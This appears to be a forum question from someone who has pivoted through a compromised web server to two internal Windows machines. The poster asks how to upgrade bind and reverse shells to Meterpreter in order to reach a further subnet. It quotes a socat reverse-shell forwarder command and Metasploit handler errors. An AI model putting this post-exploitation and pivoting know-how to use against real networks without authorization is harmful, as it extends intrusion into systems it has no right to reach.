I have a windows shell created with windows/shell_bind_tcp and I am having trouble in upgrading it to a meterpreter session
I tried to use shell_to_meterpreter but thisis the message:

The case is the following:

I exploited a web server and pivoted into the internal network finding some other machine to exploit, i did it and obtained a shell.

Machine 0 : the pivot

Machine 1 : shell_bind_tcp -> got through metasploit so i tried to use a shell to meterpreter but had no success

Machine 2 : shell_reverse_tcp -> in this case i generated a socat reverse shell forwarder: socat tcp-l:[l-port] tcp:[IP]:[port]

So i found two problems

1: i can not use shell_to_meterpreter to upgrade the shell with shell_to_meterpreter ( and I have another subnet to scan ) reachable only creating a routing from machine 1 or machine 2

2: I arrested the socat forwarder but machine 2 says his service is already connected ( i checked with ncat and i get a response from port open but says “(?) open : Operation now in progress”
so i dont know how to disconnect it.

The network is the following

Me <———> Machine 0 <———> Machine 2

Machine 0 contains the socat forwarder and I can reach only machine 0 directly

Can you help me? I’d like to find a way to upgrade the shells in machine 1 and machine 2 so i can pivot to the last network

Machine 1 I tried to upgrade shell to meterpreter using shell_to_meterpreter but got

[*] Upgrading session ID: 4
[*] Starting exploit/multi/handler
[-] Handler failed to bind to [IP_OF_PIVOT]:9090:
[*] Started reverse TCP handler on 0.0.0.0:9090 

I tried to kill socat and re-create the connection but service is still busy, so i can not re-obtain the connection from 2`